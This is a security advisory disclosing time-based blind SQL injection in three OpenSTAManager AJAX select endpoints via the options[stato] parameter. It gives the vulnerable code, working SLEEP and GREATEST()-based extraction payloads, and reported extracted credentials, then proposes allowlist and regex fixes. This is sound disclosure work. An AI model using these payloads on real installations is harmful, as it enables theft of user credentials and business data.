GHSA-3gw8-3mg3-jmpc

Description

Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.

An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.

Affected Endpoints

Three modules share the same vulnerability pattern:

1. Preventivi (Quotes) - Primary

• Endpoint: GET /ajax_select.php?op=preventivi
• File: modules/preventivi/ajax/select.php, line 60
• Required parameters: options[idanagrafica] (any valid ID)

Vulnerable code:

// modules/preventivi/ajax/select.php, lines 59-60
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';

The $stato variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes ({user_input} = 1), allowing an attacker to break out of the expression and inject arbitrary SQL.

2. Ordini (Orders)

• Endpoint: GET /ajax_select.php?op=ordini-cliente
• File: modules/ordini/ajax/select.php, line 52
• Required parameters: options[idanagrafica] (any valid ID)

Vulnerable code:

// modules/ordini/ajax/select.php, lines 51-52
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';

The $stato variable is inserted as a column name reference. The resulting SQL fragment becomes `or_statiordine`.{user_input} = 1, allowing injection after the table-column reference.

3. Contratti (Contracts)

• Endpoint: GET /ajax_select.php?op=contratti
• File: modules/contratti/ajax/select.php, line 57
• Required parameters: options[idanagrafica] (any valid ID)

Vulnerable code:

// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';

The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.

Root Cause Analysis

Data Flow

1. The attacker sends a GET request with options[stato]=<payload> to /ajax_select.php
2. ajax_select.php (line 30) reads the value via filter('options'), which applies HTMLPurifier sanitization
3. HTMLPurifier strips HTML tags and the > character, but does NOT strip SQL keywords (SELECT, SLEEP, IF, UNION, etc.) or SQL-significant characters ((, ), =, ', etc.)
4. The sanitized value is passed to AJAX::select() in src/AJAX.php (line 40)
5. AJAX::getSelectResults() assigns $superselect = $options (line 273) and requires the module's select.php file (line 275)
6. The module's select.php reads $superselect['stato'] and concatenates it directly into the $where[] array
7. AJAX::selectResults() joins all WHERE elements with AND and executes the query via Query::executeAndCount() (line 120)

Why HTMLPurifier is Insufficient

HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:

• It does not strip SQL keywords: SELECT, SLEEP, IF, UNION, FROM, WHERE
• It does not strip SQL operators: =, (, ), ,, +, -, *
• It strips the > character (used in HTML), which can be bypassed using MySQL's GREATEST() function
• It provides zero protection against SQL injection

Proof of Concept

Prerequisites

• A valid user account on the OpenSTAManager instance (any privilege level)
• Network access to the application

Step 1: Authenticate

POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

op=login&username=<user>&password=<pass>

Save the PHPSESSID cookie from the Set-Cookie response header.

Step 2: Verify Injection (SLEEP test)

Baseline request (normal response time ~200ms):

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>

Injection request (response time ~10 seconds):

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>

Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.

Step 3: Data Extraction (demonstrating impact)

Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:

Extract username length:

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1

This technique was used to successfully extract:

• Username: admin (5 characters, extracted character by character)
• Password hash prefix: $2y$10$qAo04wNbhR9cpxjHzrtcnu... (bcrypt)
• MySQL version: 8.3.0

PoC for Other Endpoints

Ordini (orders):

GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1

Contratti (contracts):

GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1

Both endpoints show the same SLEEP-based timing delay, confirming the injection.

Impact

• Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
• Integrity: With MySQL's INSERT/UPDATE capabilities via subqueries, an attacker may be able to modify data.
• Availability: An attacker can execute SLEEP() with large values or resource-intensive queries to cause denial of service.

Proposed Remediation

Option A: Allowlist Validation (Recommended)

Replace the direct concatenation with an allowlist of permitted column names:

// modules/preventivi/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';

// modules/ordini/ajax/select.php — FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';

// modules/contratti/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';

This approach is recommended because the stato parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.

Option B: Regex Validation (Alternative)

If the set of column names is dynamic, validate the format strictly:

$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
if (!preg_match('/^[a-z_]+$/i', $stato)) {
    $stato = 'is_pianificabile'; // fallback to safe default
}
$where[] = '('.$stato.' = 1)';

This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.

Option C: Backtick Quoting (Supplementary)

In addition to validation, wrap the column name in backticks to treat it as an identifier:

$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';

Note: This alone is insufficient without input validation but provides defense-in-depth.

Global Recommendation

Audit all usages of $superselect across the codebase. Any value from $superselect that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The prepare() function is already used correctly in other parts of the code — the issue is specifically where $superselect values are used as column names or bare expressions.

Credits

Omar Ramirez